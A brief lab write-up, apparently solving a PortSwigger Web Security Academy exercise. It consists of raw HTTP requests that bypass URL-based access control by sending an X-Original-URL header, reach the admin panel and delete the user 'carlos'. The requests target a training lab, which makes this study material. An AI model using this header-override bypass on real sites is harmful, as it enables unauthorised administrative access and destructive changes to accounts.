Port Swigger URL based access control can be circu

URL-based access control can be circumvented

Solution

Open website: https://0a34006204eb7480819c251a00080045.web-security-academy.net/admin

I got errror: "Access denied"
---
GET /admin HTTP/2
Host: 0a34006204eb7480819c251a00080045.web-security-academy.net
Cookie: session=Po5lRYmydsrCdiIKGdeAsEaFGfoGjXh8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a34006204eb7480819c251a00080045.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Sent request

Old request
GET /admin HTTP/2
Host: 0a34006204eb7480819c251a00080045.web-security-academy.net
Cookie: session=Po5lRYmydsrCdiIKGdeAsEaFGfoGjXh8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a34006204eb7480819c251a00080045.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
New request
GET / HTTP/2
X-Original-URL: /admin/
Host: 0a34006204eb7480819c251a00080045.web-security-academy.net
Cookie: session=Po5lRYmydsrCdiIKGdeAsEaFGfoGjXh8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a34006204eb7480819c251a00080045.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Delete user: carlos

GET ?username=carlos HTTP/2
Host: 0a2d00ae038cfa1580374eed0079000e.web-security-academy.net
X-Original-Url: /admin/delete
Cookie: session=mBM7WNOto1Ki8QLZbf9FBIgIXWTGF93z
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a2d00ae038cfa1580374eed0079000e.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Solved